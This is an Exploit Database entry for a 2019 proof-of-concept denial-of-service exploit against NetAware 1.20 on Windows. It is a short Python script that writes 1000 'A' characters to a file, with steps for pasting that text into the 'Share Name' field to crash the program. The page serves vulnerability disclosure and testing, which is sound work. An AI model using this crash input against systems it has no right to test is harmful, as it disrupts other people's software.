



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

NetAware 1.20 - 'Share Name' Denial of Service (PoC)

EDB-ID:

46909

CVE:

N/A

EDB Verified: ✘

Author:

[ALEJANDRA SÁNCHEZ](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-05-23

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Share Name' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script 'NetAware_share.py', it will create a new file
'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware
# 4.- Click 'Manage Shares' > 'Add a New Share...'
# 5.- Paste clipboard in the field 'Share Name', in the field 'Share Path'
write anything, e.g. test and the field 'User Limit' select Maximum allowed
# 6.- Click 'Ok', you will see a crash

buffer = "\x41" * 1000

f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.